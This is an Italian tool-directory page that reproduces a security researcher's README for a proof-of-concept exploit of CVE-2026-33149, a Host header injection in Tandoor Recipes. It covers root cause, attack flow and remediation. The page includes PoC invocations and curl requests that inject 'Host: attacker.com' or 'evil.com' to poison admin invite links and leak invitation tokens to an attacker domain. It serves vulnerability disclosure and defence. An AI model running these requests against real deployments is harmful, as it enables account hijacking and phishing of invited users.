Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33149-PoC — Proof-of-concept exploit per CVE-2026-33149, un'iniezione dell'header Host in Tandoor Recipes che consente il poisoning dei link di invito e il cache poisoning. Include moduli per l'accettazione dell'host, la paginazione, lo schema e il poisoning degli inviti. | Kitploit
Strumenti/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPhishingSicurezza WebPenetration Testing
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Proof-of-concept exploit per CVE-2026-33149, un'iniezione dell'header Host in Tandoor Recipes che consente il poisoning dei link di invito e il cache poisoning. Include moduli per l'accettazione dell'host, la paginazione, lo schema e il poisoning degli inviti.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33149 — Iniezione dell'Header Host in Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Riepilogo

Tandoor Recipes imposta ALLOWED_HOSTS = '*' per impostazione predefinita in settings.py, consentendo a Django di accettare nell'header HTTP senza validazione. L'applicazione utilizza per generare URL assoluti in molteplici contesti sensibili alla sicurezza. Un attaccante che può inviare richieste con un header manipolato può reindirizzare tutti gli URL generati dal server verso un dominio controllato dall'attaccante.

qualsiasi valore
Host
request.build_absolute_uri()
Host

L'impatto più critico è l'avvelenamento dei link di invito: quando un amministratore crea un invito utente, l'email inviata dal server contiene un link che punta al dominio dell'attaccante. La vittima clicca su un'email dall'aspetto legittimo, il token di invito viene esfiltrato e l'attaccante lo utilizza per dirottare il flusso di provisioning dell'account.

Dettagli della Vulnerabilità

CampoValore
ID CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Neutralizzazione Impropria degli Header HTTP per la Sintassi di Scripting
CVSS v3.18.1 ALTA — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Versione AffettaTandoor Recipes ≤ 2.5.3
VendorTandoorRecipes/recipes

Mappatura MITRE ATT&CK

ID TecnicaNomeRilevanza
T1557Adversary-in-the-MiddleManipolazione degli URL generati dal server per reindirizzare il traffico
T1566.002Phishing: Spearphishing LinkL'email di invito avvelenata contiene un link controllato dall'attaccante

Analisi della Causa Radice

1. ALLOWED_HOSTS Wildcard

File: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

ALLOWED_HOSTS di Django è una misura di sicurezza che valida l'header Host rispetto a una whitelist. Il wildcard '*' disabilita completamente questa validazione, consentendo qualsiasi valore arbitrario.

2. Generazione Non Sicura di URL nelle Email di Invito

File: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() costruisce gli URL utilizzando request.get_host(), che restituisce il valore grezzo dell'header Host quando ALLOWED_HOSTS non lo limita. L'UUID dell'invito — un token segreto — è incorporato nell'URL che ora punta all'attaccante.

3. Superfici Aggiuntive Interessate

  • Paginazione API — Le classi di paginazione DRF utilizzano build_absolute_uri() per gli URL next/previous
  • Schema OpenAPI — Il generatore di schema lo utilizza per gli URL del server
  • Avvelenamento della Cache — Le distribuzioni con proxy di caching rischiano di servire URL avvelenati a tutti gli utenti da una singola richiesta

Flusso dell'Attacco

root@kitploit:~
┌──────────┐     ① Richiesta Manipolata      ┌─────────────────┐
│ Attaccante │ ──────────────────────────────→│  Server Tandoor │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             usa "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  Server SMTP   │
                                            └────────┬───────┘
                                                     │
                                       ③ Email con link avvelenato:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Vittima     │
                                            │  (clicca link) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID inviato all'attaccante
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Attaccante   │
                                            │ usa UUID sul   │
                                            │ server reale   │
                                            └────────────────┘

Proof of Concept

Requisiti

  • Python 3.8+
  • Libreria requests
root@kitploit:~
pip install requests

Utilizzo

root@kitploit:~
# Esegui tutti i moduli di validazione con autenticazione di base
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Esegui tutti i moduli con cookie di sessione
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Solo avvelenamento del link di invito
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Moduli

ModuloDescrizione
host-acceptVerifica che il target accetti header Host arbitrari (ALLOWED_HOSTS = '*')
paginationConferma che gli URL di paginazione API riflettano il dominio iniettato
schemaConferma che gli URL del server dello schema OpenAPI riflettano il dominio iniettato
inviteCrea un link di invito avvelenato — il vettore d'attacco primario
allEsegue tutti i moduli in sequenza

Verifica Manuale (curl)

1. Accettazione dell'Header Host

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Atteso: 200 (vulnerabile) | 400 (corretto)

2. Riflessione dell'URL di Paginazione

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Atteso: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Riflessione dell'URL dello Schema

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Atteso: http://evil.com/...

4. Avvelenamento del Link di Invito

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# La vittima riceve l'email: "Click: http://attacker.com/invite/<uuid>"

Impatto

Area di ImpattoDescrizioneGravità
Dirottamento del Token di InvitoL'attaccante cattura l'UUID dell'invito tramite il link email avvelenato, dirottando il provisioning dell'accountCritica
Phishing delle CredenzialiLa vittima finisce su un dominio controllato dall'attaccante aspettandosi una pagina di registrazione legittimaAlta
Avvelenamento della CacheNelle distribuzioni con proxy di caching, una singola risposta avvelenata contamina la cache per tutti gli utentiAlta
Disorientamento dei Client APIGli URL di paginazione e schema reindirizzano i consumatori API verso l'infrastruttura dell'attaccanteMedia

Rimedio

Correzione Immediata

Imposta ALLOWED_HOSTS per elencare esplicitamente i tuoi hostname validi:

root@kitploit:~
# docker-compose.yml o .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Difesa in Profondità

  1. Validazione del Reverse Proxy — Configura Nginx/Apache per rifiutare richieste con header Host inattesi prima che raggiungano Django
  2. USE_X_FORWARDED_HOST = False — Assicurati che Django non si fidi di X-Forwarded-Host da fonti non attendibili (il default è False)
  3. Rafforzamento dei Link SMTP — Utilizza una configurazione esplicita SITE_URL per la generazione dei link email invece di fare affidamento su request.build_absolute_uri()

Riferimenti

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Neutralizzazione Impropria degli Header HTTP
  • Documentazione Django ALLOWED_HOSTS
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle
  • MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link

Disclaimer

Questo proof of concept è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.


Autore

Filipe Gaudard — Ricercatore di Sicurezza Offensiva | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Scarica lo strumento